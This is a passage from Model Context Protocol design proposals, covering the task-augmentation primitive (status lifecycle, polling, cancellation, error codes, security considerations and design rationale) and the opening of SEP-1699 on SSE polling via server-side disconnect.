2. From `working`: may move to `input_required`, `completed`, `failed`, `cancelled`, or `unknown`
3. From `input_required`: may move to `working`, `completed`, `failed`, `cancelled`, or `unknown`
4. Tasks in `completed`, `failed`, `cancelled`, or `unknown` status **MUST NOT** transition to any other status (terminal states)
3. Receivers **MAY** move directly from `submitted` to `completed` if execution completes immediately.
4. The `unknown` status is a terminal fallback state for unexpected error conditions. Receivers **SHOULD** use `failed` with an error message instead when possible.
**Task Status State Diagram:**
```mermaid theme={null}
stateDiagram-v2
[*] --> submitted
submitted --> working
submitted --> terminal
working --> input_required
working --> terminal
input_required --> working
input_required --> terminal
terminal --> [*]
note right of terminal
Terminal states:
• completed
• failed
• cancelled
• unknown
end note
```
#### 4.4. Input Required Status
1. When a receiver sends a request associated with a task (e.g., elicitation, sampling), the receiver **MUST** move the task to the `input_required` status.
2. The receiver **MUST** include the `modelcontextprotocol.io/related-task` metadata in the request to associate it with the task.
3. When the receiver receives all required responses, the task **MAY** transition out of `input_required` status (typically back to `working`).
4. If multiple related requests are pending, the task **SHOULD** remain in `input_required` status until all are resolved.
#### 4.5. Keep-Alive and Resource Management
1. Receivers **MAY** override the requested `keepAlive` duration.
2. Receivers **MUST** include the actual `keepAlive` duration (or `null` for unlimited) in `tasks/get` responses.
3. After a task reaches a terminal status (`completed`, `failed`, or `cancelled`) and its `keepAlive` duration has elapsed, receivers **MAY** delete the task and its results.
4. Receivers **MAY** include a `pollFrequency` value (in milliseconds) in `tasks/get` responses to suggest polling intervals. Requestors **SHOULD** respect this value when provided.
#### 4.6. Result Retrieval
1. Receivers **MUST** only return results from `tasks/result` when the task status is `completed`.
2. Receivers **MUST** return an error if `tasks/result` is called for a task in any other status.
3. Requestors **MAY** call `tasks/result` multiple times for the same task while it remains available.
#### 4.7. Associating Task-Related Messages
1. All requests, notifications, and responses related to a task **MUST** include the `modelcontextprotocol.io/related-task` key in their `_meta`, with the value set to an object with a `taskId` matching the associated task ID.
2. For example, an elicitation that a task-augmented tool call depends on **MUST** share the same related task ID with that tool call's task.
#### 4.8. Task Cancellation
1. When a receiver receives a `notifications/cancelled` notification for the JSON-RPC request ID of a task-augmented request, the receiver **SHOULD** immediately move the task to the `cancelled` status and cease all processing associated with that task.
2. Due to the asynchronous nature of notifications, receivers **MAY** not cancel task processing instantaneously. Receivers **SHOULD** make a best-effort attempt to halt execution as quickly as possible.
3. If a `notifications/cancelled` notification arrives after a task has already reached a terminal status (`completed`, `failed`, `cancelled`, or `unknown`), receivers **SHOULD** ignore the notification.
4. After a task reaches `cancelled` status and its `keepAlive` duration has elapsed, receivers **MAY** delete the task and its metadata.
5. Requestors **MAY** send `notifications/cancelled` at any time during task execution, including when the task is in `input_required` status. If a task is cancelled while in `input_required` status, receivers **SHOULD** also disregard any pending responses to associated requests.
6. Because notifications do not provide confirmation of receipt, requestors **SHOULD** continue to poll with `tasks/get` after sending a cancellation notification to confirm the task has transitioned to `cancelled` status. If the task does not transition to `cancelled` within a reasonable timeframe, requestors **MAY** assume the cancellation was not processed.
#### 4.9. Task Listing
1. Receivers **SHOULD** use cursor-based pagination to limit the number of tasks returned in a single response.
2. Receivers **MUST** include a `nextCursor` in the response if more tasks are available.
3. Requestors **MUST** treat cursors as opaque tokens and not attempt to parse or modify them.
4. If a task is retrievable via `tasks/get` for a requestor, it **MUST** be retrievable via `tasks/list` for that requestor.
#### 4.10 Task Deletion
1. Receivers **MAY** accept or reject delete requests for any task at their discretion.
2. If a receiver accepts a delete request, it **SHOULD** delete the task and all associated results and metadata.
3. Receivers **MAY** choose not to support deletion at all, or only support deletion for tasks in certain statuses (e.g., only terminal statuses).
4. Requestors **SHOULD** delete tasks containing sensitive data promptly rather than relying solely on `keepAlive` expiration for cleanup.
### 5. Message Flow
[https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1686#issuecomment-3452378176](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1686#issuecomment-3452378176)
### 6. Data Types
#### Task
A task represents the execution state of a request. The task metadata includes:
* `taskId`: Unique identifier for the task
* `keepAlive`: Time in milliseconds that results will be kept available after completion
* `pollFrequency`: Suggested time in milliseconds between status checks
* `status`: Current state of the task execution
#### Task Status
Tasks can be in one of the following states:
* `submitted`: The request has been received and queued for execution
* `working`: The request is currently being processed
* `input_required`: The request is waiting on additional input from the requestor
* `completed`: The request completed successfully and results are available
* `failed`: The task lifecycle itself encountered an error, unrelated to the associated request logic
* `cancelled`: The request was cancelled before completion
* `unknown`: A terminal fallback state for unexpected error conditions when the receiver cannot determine the actual task state
#### Task Metadata
When augmenting a request with task execution, the `modelcontextprotocol.io/task` key is included in `_meta`:
```json theme={null}
{
"modelcontextprotocol.io/task": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840",
"keepAlive": 60000
}
}
```
Fields:
* `taskId` (string, required): Client-generated unique identifier for the task
* `keepAlive` (number, optional): Requested duration in milliseconds to retain results after completion
#### Task Creation Notification
When a receiver creates a task, it sends a `notifications/tasks/created` notification to signal that the task is ready for polling. The notification has empty params, with the task ID conveyed through the `modelcontextprotocol.io/related-task` metadata key:
```json theme={null}
{
"jsonrpc": "2.0",
"method": "notifications/tasks/created",
"params": {
"_meta": {
"modelcontextprotocol.io/related-task": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840"
}
}
}
}
```
This notification enables requestors to begin polling without encountering race conditions where the task might not yet exist on the receiver.
#### Task Get Request
The `tasks/get` request retrieves the current state of a task:
```typescript theme={null}
{
taskId: string; // The task identifier to query
}
```
#### Task Get Response
The `tasks/get` response includes:
```typescript theme={null}
{
taskId: string; // The task identifier
status: TaskStatus; // Current task state
keepAlive: number | null; // Actual retention duration in milliseconds, null for unlimited
pollFrequency?: number; // Suggested polling interval in milliseconds
error?: string; // Error message if status is "failed"
}
```
#### Task Result Request
The `tasks/result` request retrieves the result of a completed task:
```typescript theme={null}
{
taskId: string; // The task identifier to retrieve results for
}
```
#### Task Result Response
The `tasks/result` response returns the original result that would have been returned by the request:
```typescript theme={null}
{
// The structure matches the result type of the original request
// For example, a tools/call task would return CallToolResult structure
[key: string]: unknown;
}
```
The result structure depends on the original request type. The receiver returns the same result structure that would have been returned if the request had been executed without task augmentation.
#### Task List Request
The `tasks/list` request retrieves a list of tasks:
```typescript theme={null}
{
cursor?: string; // Optional cursor for pagination
}
```
#### Task List Response
The `tasks/list` response includes:
```typescript theme={null}
{
tasks: Array<{
taskId: string; // The task identifier
status: TaskStatus; // Current task state
keepAlive: number | null; // Retention duration in milliseconds, null for unlimited
pollFrequency?: number; // Suggested polling interval in milliseconds
error?: string; // Error message if status is "failed"
}>;
nextCursor?: string; // Cursor for next page, absent if no more results
}
```
#### Related Task Metadata
All requests, responses, and notifications associated with a task **MUST** include the `modelcontextprotocol.io/related-task` key in `_meta`:
```json theme={null}
{
"modelcontextprotocol.io/related-task": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840"
}
}
```
This associates messages with their originating task across the entire request lifecycle.
### 7. Error Handling
Tasks use two error reporting mechanisms:
1. **Protocol Errors**: Standard JSON-RPC errors for protocol-level issues
2. **Task Execution Errors**: Errors in the underlying request execution, reported through task status
#### 7.1. Protocol Errors
Receivers **MUST** return standard JSON-RPC errors for the following protocol error cases:
* Invalid or nonexistent `taskId` in `tasks/get`, `tasks/list`, or `tasks/result`: `-32602` (Invalid params)
* Invalid or nonexistent cursor in `tasks/list`: `-32602` (Invalid params)
* Request with a `taskId` that was already used for a different task (if the receiver validates task ID uniqueness): `-32602` (Invalid params)
* Attempting to retrieve result when task is not in `completed` status: `-32602` (Invalid params)
* Internal errors: `-32603` (Internal error)
Receivers **SHOULD** provide informative error messages to describe the cause of errors.
**Example: Task not found**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 70,
"error": {
"code": -32602,
"message": "Failed to retrieve task: Task not found"
}
}
```
**Example: Task expired**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 71,
"error": {
"code": -32602,
"message": "Failed to retrieve task: Task has expired"
}
}
```
> NOTE: Receivers are not obligated to retain task metadata indefinitely. It is compliant behavior for a receiver to return a "not-found" error if it has purged an expired task.
**Example: Result requested for incomplete task**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 72,
"error": {
"code": -32602,
"message": "Cannot retrieve result: Task status is 'working', not 'completed'"
}
}
```
**Example: Duplicate task ID (if receiver validates uniqueness)**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 73,
"error": {
"code": -32602,
"message": "Task ID already exists: 786512e2-9e0d-44bd-8f29-789f320fe840"
}
}
```
#### 7.2. Task Execution Errors
When the underlying request fails during execution, the task moves to the `failed` status. The `tasks/get` response **SHOULD** include an `error` field with details about the failure:
```typescript theme={null}
{
taskId: string;
status: "failed";
keepAlive: number | null;
pollFrequency?: number;
error?: string; // Description of what went wrong
}
```
**Example: Task with execution error**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 4,
"result": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840",
"status": "failed",
"keepAlive": 30000,
"error": "Tool execution failed: API rate limit exceeded"
}
}
```
For tasks that wrap requests with their own error semantics (like `tools/call` with `isError: true`), the task should still reach `completed` status, and the error information is conveyed through the result structure of the original request type.
### 8. Security Considerations
#### 8.1. Task Isolation and Access Control
1. Receivers **SHOULD** scope task IDs to prevent unauthorized access:
1. Bind tasks to the session that created them (if sessions are supported)
2. Bind tasks to the authentication context (if authentication is used)
3. Reject `tasks/get`, `tasks/list`, or `tasks/result` requests for tasks from different sessions or auth contexts
2. Receivers that do not implement session or authentication binding **SHOULD** document this limitation clearly, as task results may be accessible to any requestor that can guess the task ID.
3. Receivers **SHOULD** implement rate limiting on:
1. Task creation to prevent resource exhaustion
2. Task status polling to prevent denial of service
3. Task result retrieval attempts
4. Task listing requests to prevent denial of service
#### 8.2. Resource Management
> WARNING: Task results may persist longer than the original request execution time. For sensitive operations, requestors should carefully consider the security implications of extended result retention and may want to retrieve results promptly and request shorter `keepAlive` durations.
1. Receivers **SHOULD**:
1. Enforce limits on concurrent tasks per requestor
2. Enforce maximum `keepAlive` durations to prevent indefinite resource retention
3. Clean up expired tasks promptly to free resources
2. Receivers **SHOULD**:
1. Document maximum supported `keepAlive` duration
2. Document maximum concurrent tasks per requestor
3. Implement monitoring and alerting for resource usage
#### 8.3. Audit and Logging
1. Receivers **SHOULD**:
1. Log task creation, completion, and retrieval events for audit purposes
2. Include session/auth context in logs when available
3. Monitor for suspicious patterns (e.g., many failed task lookups, excessive polling)
2. Requestors **SHOULD**:
1. Log task lifecycle events for debugging and audit purposes
2. Track task IDs and their associated operations
## Rationale
### Design Decision: Generic Task Primitive
The decision to implement tasks as a generic request augmentation mechanism (rather than tool-specific or method-specific) was made to maximize protocol simplicity and flexibility.
Tasks are designed to work with any request type in the MCP protocol, not just tool calls. This means that `resources/read`, `prompts/get`, `sampling/createMessage`, and any future request types can all be augmented with task metadata. This approach provides significant benefits over a tool-specific design.
From a protocol perspective, this design eliminates the need for separate task implementations per request type. Instead of defining different async patterns for tools versus resources versus prompts, a single set of task management methods (`tasks/get` and `tasks/result`) works uniformly across all request types. This uniformity reduces cognitive load for implementers and creates a consistent experience for applications using the protocol.
The generic design also provides implementation flexibility. Servers can choose which requests support task augmentation without requiring protocol changes or version negotiation. If a server doesn't support tasks for a particular request type, it simply ignores the task metadata and processes the request normally. This allows servers to add task support to requests incrementally, starting with high-value operations and expanding over time based on actual usage patterns.
Architecturally, tasks are treated as metadata rather than a separate execution model. They augment existing requests rather than replacing them. The original request/response flow remains intact—the request still gets a response eventually. Tasks simply provide an additional polling-based mechanism for result retrieval. This design ensures that related messages (such as elicitations during task execution) can be associated consistently via the `modelcontextprotocol.io/related-task` metadata key, regardless of the underlying request type.
### Design Decision: Metadata-Based Augmentation
Using `_meta` for task information rather than dedicated request parameters was chosen to maintain a clear separation of concerns between request semantics and execution tracking.
Task information is fundamentally orthogonal to request semantics. The task ID and keepAlive duration don't affect what the request does—they only affect how the result is retrieved and retained. A `tools/call` request performs the same operation whether or not it includes task metadata. The task metadata simply provides an alternative mechanism for accessing the result.
By placing task information in `_meta`, we create a clear architectural boundary between "what to execute" (request parameters) and "how to track execution" (task metadata). This boundary makes it easier for implementers to reason about the protocol. Request parameters define the operation being performed, while metadata provides orthogonal concerns like progress tracking, task management, and other execution-related information.
This approach also provides natural backward compatibility. Servers that don't support tasks can ignore the `_meta` content without breaking request processing. The request parameters remain valid and complete, so the operation can proceed normally. This means no protocol version negotiation is required—the new functionality is purely additive and non-disruptive.
SDKs can provide ergonomic abstractions over the task primitive while maintaining the separation of concerns, for example:
```typescript theme={null}
// === MCP SDK (Pseudocode based loosely on modelcontextprotocol/typescript-sdk) ===
/**
* NEW: A request that resolves to a result, either directly or by polling a task.
*/
class PendingRequest {
constructor(readonly protocol: Protocol, readonly result: Promise, readonly taskId?: string) {}
/**
* Waits for a result, calling onTaskStatus if provided and a task was created.
*/
async result({ onTaskStatus }): Promise => {
if (!onTaskStatus || !this.taskId) {
// No task listener or task ID provided, just block for the result
return await result;
}
// Whichever is successful first (or a failure if all fail) is returned.
return Promise.any([
result, // Blocks for result
(async () => {
// Blocks for a notifications/tasks/created with the provided task ID
await this.protocol.waitForTask(this.taskId);
return await taskHandler(this.taskId);
})(),
]);
}
/**
* Encapsulates polling for a result, calling onTaskStatus after querying the task.
*/
private async taskHandler({ onTaskStatus }): Promise => {
// Poll for completion
let task: Task;
do {
task = await this.protocol.getTask(this.taskId);
await onTaskStatus(task);
await sleep(task.pollFrequency ?? DEFAULT_POLLING_INTERNAL);
} while (!task.isTerminal());
// Process result
return await this.protocol.getTaskResult(this.taskId);
}
}
/**
* Simplified/partial client session implementation for illustration purposes.
* Extends a base class it shares with the server.
*/
class Client extends Protocol {
/**
* Existing request method, but with most implementation refactored to beginCallTool
*/
async callTool(
params: CallToolRequest['params'],
resultSchema: Schema,
) {
// Existing request methods can be changed to reuse new methods exposed for
// separating request/response flows.
const request = await this.beginCallTool(params, resultSchema);
return request.result();
}
/**
* NEW: Low-level method that starts a tool call and returns a PendingRequest
* object for more granular control.
*/
async beginCallTool(
params: CallToolRequest['params'],
resultSchema: Schema,
) {
const request = await this.beginRequest({ method: 'tools/call', params }, resultSchema, options);
return request;
}
}
// === HOST APPLICATION ===
// Begin a tool call with task support
const pending: PendingRequest = await client.beginCallTool(
{
name: "analyze_dataset",
arguments: { dataset: "large_file.csv" },
},
CallToolResultSchema,
{
keepAlive: 3600000,
},
);
// Client code can assume tasks are supported, and the fallback case can be handled internally
const result = await pending.result({
onTaskStatus: async (task) => {
await sendLatestStateSomewhere(task);
},
});
```
As the design does not alter the basic request semantics, the existing form would continue to work as well:
```typescript theme={null}
const result = await client.callTool(
{
name: "analyze_dataset",
arguments: { dataset: "large_file.csv" },
},
CallToolResultSchema,
);
```
### Design Decision: Client-Generated Task IDs
The choice to have clients generate task IDs rather than having servers assign them provides several critical benefits:
**Idempotency and Fault Tolerance:**
The primary benefit is enabling idempotent task creation. When a client generates the task ID, it can safely retry a task-augmented request if it doesn't receive a response, knowing that the server will recognize the duplicate task ID and return an error. This is essential for reliable operation over unreliable networks:
* If a request times out, the client can safely retry without creating duplicate tasks
* If a connection drops before the response arrives, the client can reconnect and retry
* The server validates task ID uniqueness and returns an error for duplicates, confirming whether the task was created
With server-generated task IDs, a timeout or connection failure creates uncertainty—the client doesn't know whether the task was created, and has no safe way to retry without potentially creating duplicate tasks.
**Simplicity for Clients:**
Client-generated task IDs simplify the client's implementation by eliminating the need to correlate the initial response with a task identifier. The client can immediately begin polling for task status using the task ID it generated, without needing to parse the response to extract a server-assigned identifier. This is particularly valuable for asynchronous programming models where the client may want to store the task ID before the response arrives.
**Trade-offs for Servers:**
The main trade-off is that servers wrapping existing workflow systems with their own task identifiers will generally handle this by maintaining a mapping between the client-provided task IDs and the underlying system's identifiers. For example, an MCP server wrapping AWS Step Functions might receive a client-generated task ID like `"client-abc-123"` and need to track that it corresponds to Step Functions execution ARN `"arn:aws:states:...:exec-xyz"`.
This requires:
* Persistent storage for the task ID mapping (typically a simple key-value store)
* Maintaining the mapping for the task's keepAlive duration
* Handling mapping lookups for task status and result retrieval
However, this complexity is typically minor compared to the overall work of integrating an existing workflow system into MCP. Most workflow systems already require state management for tracking execution, and maintaining a task ID mapping is a straightforward addition. The mapping structure is simple (client task ID maps to an internal identifier), and can be implemented using existing databases or key-value stores such a server likely already uses for other state management.
### Design Decision: Task Creation Notification
The decision to use a `notifications/tasks/created` notification rather than altering the response semantics (as #1391 proposed) acknowledges the asynchronous nature of task creation and enables efficient race patterns between task-based polling and traditional request/response flows.
When a server creates a task, it must signal to the client that the task is ready for polling. There are at least two possible approaches: (1) the initial request could return synchronously with task metadata, or (2) the server could send a notification. This proposal uses notifications for several key reasons:
1. Notifications enable fire-and-forget request processing. The server can accept the request, begin processing it, and send the notification once the task is created, without needing to block the initial request/response cycle. This is particularly important for servers that dispatch work to background systems or queues—they can acknowledge the request immediately and send the notification once the background system confirms task creation.
2. Notifications support the race pattern that enables graceful degradation. Clients can race between waiting for the original request's response and waiting for the `notifications/tasks/created` notification. If the server doesn't support tasks, no notification arrives and the original response wins. If the server does support tasks, the notification typically arrives first (or approximately simultaneously), enabling polling to begin. A synchronous response would force clients to wait for the response before knowing whether to poll or not.
3. Notifications avoid ambiguity with existing protocol semantics. If the initial request response included task metadata and the client then polled for results, it would change the implied meaning of existing notification types:
1. **Progress notifications**: The current MCP specification requires that progress notifications reference tokens that "are associated with an in-progress operation." While "operation" is not formally defined, the implied understanding is that an operation is bounded by a request/response pair—progress notifications stop when the response is sent. With a synchronous response containing task metadata, progress notifications would need to continue while the task executes, expanding the implied meaning of "operation" to include asynchronous tasks that outlive the original request/response cycle. The notification-based approach avoids this semantic expansion by keeping progress notifications tied to the initial request's lifecycle, while future task-based progress can be cleanly associated via `modelcontextprotocol.io/related-task` metadata. We recommend that a future SEP clarify the definition of "operation" in the progress specification.
2. **Cancellation semantics**: With the notification-based approach, `notifications/cancelled` clearly targets the original request ID and causes the associated task to move to `cancelled` status, maintaining a clean separation between request cancellation and task lifecycle management.
While the notification is required by the specification for servers that create tasks, there are edge cases where it may be unavailable:
* **sHTTP without stream support**: In environments where either the client or the server does not support SSE streams, notifications cannot be delivered. In such cases, clients may choose to proactively poll with `tasks/get` using exponential backoff, though this is nonstandard and may result in unnecessary polling attempts if the server doesn't support tasks.
* **Degraded connection scenarios**: If the notification is lost in transit, clients should implement reasonable timeout behavior and fall back to the original response.
The standard and recommended approach is to wait for the `notifications/tasks/created` notification before beginning polling. Proactive polling without waiting for the notification should be considered a fallback mechanism for constrained environments only.
### Design Decision: No Capabilities Declaration
Unlike other protocol features such as tools, resources, and prompts, tasks do not require capability negotiation. This decision was made to enable graceful degradation and per-request flexibility.
Task support can be determined implicitly through usage rather than explicitly through capability declarations. When a client sends a task-augmented request, the server will process it according to its capabilities. If the server doesn't support tasks for that request type, it simply ignores the task metadata and returns the result normally through the original request/response flow. The client can then detect the lack of task support by attempting to call `tasks/get` and handling any errors that result.
This approach eliminates the need for complex handshakes or feature detection protocols. Clients can optimistically try task augmentation and gracefully fall back to direct response handling if needed. This makes the protocol more resilient and easier to implement.
Additionally, this design provides per-request flexibility that would be difficult to express through capabilities. A server might support tasks on some request types but not others, or support might vary based on runtime conditions such as resource availability or load. Requiring granular capability declarations per request type would significantly complicate the protocol without providing substantial benefits. The implicit detection model is simpler and more flexible.
### Alternative Designs Considered
**Tool-Specific Async Execution:**
An earlier version of this proposal (#1391) focused specifically on tool calls, introducing an `invocationMode` field on tool definitions to mark tools as supporting synchronous, asynchronous, or both execution modes. This approach would have added dedicated fields to the tool call request and response structures, with server-side capability declarations to indicate support for async tool execution.
While this design would have addressed the immediate need for long-running tool calls, it was rejected in favor of the more general task primitive for several reasons. First, it artificially limited the async execution pattern to tools when other request types have similar needs. Resources can be expensive to read, prompts can require complex processing, and sampling requests may involve lengthy user interactions. Creating separate async patterns for each request type would lead to protocol fragmentation and inconsistent implementation patterns.
Second, the tool-specific approach required more complex capability negotiation and version handling. Servers would need to filter tool lists based on client capabilities, and SDKs would need to manage different invocation patterns for sync versus async tools. This complexity would ripple through every layer of the implementation stack.
Finally, the tool-specific design didn't address the broader architectural need for deferred result retrieval across all MCP request types. By generalizing to a task primitive that augments any request, this proposal provides a consistent pattern that can be applied uniformly across the protocol. More importantly, this foundation is extensible to future protocol messages and features such as subtasks, making it a more appropriate building block for the protocol's evolution.
**Transport-Layer Solutions:**
An alternative approach would be to solve for this purely at the transport layer, without introducing a new data-layer primitive. Several proposals (#1335, #1442, #1597) address transport-specific concerns such as connection resilience, request retry semantics, and stream management for sHTTP. These are valuable improvements that can mitigate many scaling and reliability challenges associated with requests that may take extended time to complete.
However, transport-layer solutions alone are insufficient for the use cases this SEP addresses. Even with perfect transport-layer reliability, several data-layer concerns remain:
First, servers and clients need a way to communicate expectations about execution patterns. Without this, host applications cannot make informed decisions about UX patterns—should they block, show a spinner, or allow the user to continue working? An annotation alone could signal that a request might take extended time, but provides no mechanism to actively check status or retrieve results later.
Second, transport-layer solutions cannot provide visibility into the execution state of a request that is still in progress. If a request stops sending progress notifications, the client cannot distinguish between "the server is doing expensive work" and "the request was lost." Transport-level retries can confirm the connection is alive, but cannot answer "is this specific request still executing?" This visibility is critical for operations where users need confidence their work is progressing.
Third, different transports would require different mechanisms for these concerns. The sHTTP proposals adjust stream management and retry semantics to fulfill these requirements, but stdio has no equivalent extension points. This creates transport-specific fragmentation where implementers must solve the same problems differently depending on their choice of transport. Data-layer operations provides consistent semantics across all transports.
Finally, deferred result retrieval and active status checks are data-layer concerns that cannot be addressed by transport improvements alone. The ability to retrieve a result multiple times, specify retention duration, and handle cleanup is orthogonal to how the underlying messages are delivered.
**Resource-Based Approaches:**
Another possible approach would be to leverage existing MCP resources for tracking long-running operations. For example, a tool could return a linked resource that communicates operation status, and clients could subscribe to that resource to receive updates when the operation completes. This would allow servers to represent task state using the resource primitive, potentially with annotations for suggested polling frequency.
While this approach is technically feasible and servers remain free to adopt such conventions, it suffers from similar limitations as the tool-splitting pattern described in the Motivation section. Like the `start_tool` and `get_tool` convention, a resource-based tracking system would be convention-based rather than standardized, creating several challenges:
The most fundamental issue is the lack of a consistent way for clients to distinguish between ordinary resources (meant to be exposed to models) and status-tracking resources (meant to be polled by the application). Should a status resource be presented to the model? How should the client correlate a returned resource with the original tool call? Without standardization, different servers would implement different conventions, forcing clients/hosts/models to handle each server's particular approach. Extending resources with task-like semantics (such as polling frequency, keepalive durations, and explicit status states) would create a new and distinct purpose for resources that would be difficult to distinguish from their existing purpose as model-accessible content.
The resource subscription model has one additional issue: as it is push-based, it requires clients to wait for notifications of resource changes rather than actively polling for status. While this works for some use cases, it doesn't address scenarios where clients need to actively check status—for example, proactively and deterministically checking if work is still progressing, which is the original intent of this proposal.
The task primitive addresses these concerns by providing a standardized, protocol-level mechanism specifically designed for this use case, with consistent semantics that any client can leverage without host applications needing to understand server-specific conventions. While resource-based tracking remains possible for servers that prefer it and/or are already using it, this SEP provides a first-class alternative that solves the broader set of requirements identified previously.
### Backward Compatibility
This SEP introduces **no backward incompatibilities**. All existing MCP functionality remains unchanged:
**Compatibility Guarantees:**
* Existing requests work identically with or without task metadata
* Servers that don't understand tasks process requests normally
* No protocol version negotiation required
* No capability declarations needed
**Graceful Degradation:**
* Clients race between waiting for the original request's response and waiting for the `notifications/tasks/created` notification followed by polling
* Whichever completes first (original response or task-based retrieval) is used by the client
* If a server doesn't support tasks, no `notifications/tasks/created` is sent, and the original request's response is used
* If a server supports tasks, the `notifications/tasks/created` notification is sent, enabling the client to begin polling for results
* This race pattern ensures graceful degradation without requiring capability negotiation or version detection
* Partial support is possible—servers can support tasks on some requests but not others
**Adoption Path:**
* Servers can implement task support incrementally, starting with high-value request types
* Clients can opportunistically use tasks where supported
* No coordination required between client and server updates
## Future Work
The task primitive introduced in this SEP provides a foundation for several important extensions that will enhance MCP's workflow capabilities.
### Push Notifications
While this SEP focuses on client-driven polling, future work could introduce server-initiated notifications for task state changes. This would be particularly valuable for operations that take hours or longer, where continuous polling becomes impractical.
A notification-based approach would allow servers to proactively inform clients when:
* A task completes or fails
* A task reaches a milestone or significant state transition
* A task requires input (complementing the `input_required` status)
This could be implemented through webhook-style mechanisms or persistent notification channels, depending on the transport capabilities. The proposed task ID and status model provides the necessary infrastructure for servers to identify which tasks warrant notifications and for clients to correlate notifications with their outstanding tasks.
### Intermediate Results
The current task model returns results only upon completion. Future extensions could enable tasks to report intermediate results or progress artifacts during execution. This would support use cases where servers can produce partial outputs before final completion, such as:
* Streaming analysis results as they become available
* Reporting completed phases of multi-step operations
* Providing preview data while full processing continues
Intermediate results would build on the proposed task ID association mechanism, allowing servers to send multiple result notifications or response messages tied to the same task ID throughout its lifecycle.
### Nested Task Execution
A significant future enhancement is support for hierarchical task relationships, where a task can spawn subtasks as part of its execution. This would enable complex, multi-step workflows orchestrated by the server.
In a nested task model, a server could:
* Create subtasks in response to a parent task reaching a state that requires additional operations
* Communicate subtask requirements to the client, potentially including required tool calls or sampling requests
* Track subtask completion and use subtask results to advance the parent task
* Maintain provenance through task ID hierarchies, showing the relationship between parent and child tasks
For example, a complex analysis task might spawn several subtasks for data gathering, each represented by its own task ID but associated with the parent task. The parent task would remain in a pending state (potentially in a new `tool_required` status) until all required subtasks complete.
This hierarchical model would support sophisticated server-controlled workflows while maintaining the client's ability to monitor and retrieve results at any level of the task tree.
Example nested task flow
```mermaid theme={null}
sequenceDiagram
participant C as Client
participant S as Server
Note over C,S: Client Creates Parent Task
C->>S: tools/call "deploy_application" _meta: {taskId: "deploy-123"}
S--)C: notifications/tasks/created
C->>S: tasks/get (taskId: "deploy-123")
S->>C: status: working
Note over S: Server determines subtasks needed
Note over C,S: Server Responds with Subtask Requirements
C->>S: tasks/get (taskId: "deploy-123")
S->>C: status: working childTasks: [{ taskId: "build-456", toolName: "run_build", arguments: {...} }, { taskId: "test-789", toolName: "run_tests", arguments: {...} }]
Note over C: Client initiates subtasks
C->>S: tools/call "run_build" _meta: {taskId: "build-456", parentTaskId: "deploy-123"}
S--)C: notifications/tasks/created
C->>S: tools/call "run_tests" _meta: {taskId: "test-789", parentTaskId: "deploy-123"}
S--)C: notifications/tasks/created
Note over C: Client polls subtasks
C->>S: tasks/get (taskId: "build-456")
S->>C: status: completed
C->>S: tasks/get (taskId: "test-789")
S->>C: status: completed
Note over S: All subtasks complete, parent continues
C->>S: tasks/get (taskId: "deploy-123")
S->>C: status: completed
C->>S: tasks/result (taskId: "deploy-123")
S->>C: Deployment complete
```
**Potential Data Model Extensions:**
The task status response could be extended to include parent and child task relationships:
```typescript theme={null}
{
taskId: string;
status: TaskStatus;
keepAlive: number | null;
pollFrequency?: number;
error?: string;
// Extensions for nested tasks
parentTaskId?: string; // ID of parent task, if this is a subtask
childTasks?: Array<{ // Subtasks required by this task
taskId: string; // Pre-generated task ID for the subtask
toolName: string; // Tool to call for this subtask
arguments?: object; // Arguments for the tool call
}>;
}
```
This would allow clients to:
* Discover subtasks required by a parent task through the `childTasks` array
* Initiate the required subtask tool calls using the pre-generated task IDs and provided arguments
* Navigate the task hierarchy by following parent/child relationships via `parentTaskId`
* Monitor all subtasks by polling each child task ID
* Wait for all subtasks to complete before checking parent task completion
The existing task metadata and status lifecycle are designed to be forward-compatible with these extensions.
# SEP-1699: Support SSE polling via server-side disconnect
Source: https://modelcontextprotocol.io/seps/1699-support-sse-polling-via-server-side-disconnect
Support SSE polling via server-side disconnect
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 1699 |
| **Title** | Support SSE polling via server-side disconnect |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-10-22 |
| **Author(s)** | Jonathan Hefner ([@jonathanhefner](https://github.com/jonathanhefner)) |
| **Sponsor** | None |
| **PR** | [#1699](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1699) |
***
## Abstract
This SEP proposes changes to the Streamable HTTP transport in order to mitigate issues regarding long-running connections and resumability.
## Motivation
The Streamable HTTP transport spec [does not allow](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/04c6e1f0ea6544c7df307fb2d7c637efe34f58d3/docs/specification/draft/basic/transports.mdx?plain=1#L109-L111) servers to close a connection while computing a result. In other words, barring client-side disconnection, servers must maintain potentially long-running connections.
## Specification
When a server starts an SSE stream, it MUST immediately send an SSE event consisting of an [`id`](https://html.spec.whatwg.org/multipage/server-sent-events.html#:~:text=field%20name%20is%20%22id%22) and an empty [`data`](https://html.spec.whatwg.org/multipage/server-sent-events.html#:~:text=field%20name%20is%20%22data%22) string in order to prime the client to reconnect with that event ID as the `Last-Event-ID`.
Note that the SSE standard explicitly [permits setting `data` to an empty string](https://html.spec.whatwg.org/multipage/server-sent-events.html#:~:text=data%20buffer%20is%20an%20empty%20string), and says that the appropriate client-side handling is to record the `id` for `Last-Event-ID` but otherwise ignore the event (i.e., not call the event handler callback).
At any point after the server has sent an event ID to the client, the server MAY disconnect at will. Specifically, [this part of the MCP spec](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/04c6e1f0ea6544c7df307fb2d7c637efe34f58d3/docs/specification/draft/basic/transports.mdx?plain=1#L109-L111) will be changed from:
> The server **SHOULD NOT** close the SSE stream before sending the JSON-RPC *response* for the received JSON-RPC *request*
To:
> The server **MAY** close the connection before sending the JSON-RPC *response* if it has sent an SSE event with an event ID to the client
